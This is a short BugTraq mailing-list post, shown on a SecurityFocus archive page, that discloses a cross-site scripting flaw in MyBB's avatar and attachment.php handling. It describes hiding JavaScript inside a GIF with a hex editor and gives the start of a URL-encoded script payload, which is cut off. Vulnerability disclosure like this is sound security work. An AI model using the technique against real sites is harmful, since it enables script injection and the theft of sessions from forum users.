Search: Home Bugtraq Vulnerabilities Mailing Lists Jobs Tools Beta Programs
BugTraq
Name:
Email:
*Note: Email address will appear as "user domain ext" to prevent harvesting.
Subject:
Message:
 
MyBB Html Injection ( XSS ) Aug 25 2006 09:55PM
Redworm MaiL Com
Hi

################################################

MyBB Have Xss In Avatar And Attachment.php

################################################

HEX editor With GIF picture Open , JS code are writing.

~~~~~~ GIF89ajscode ~~~~~~

Js Code:Hex:

&3c%73%63%72%69%70%74%3e%69%6d%67%20%...

[ more ]  




 

Privacy Statement
Copyright 2009, SecurityFocus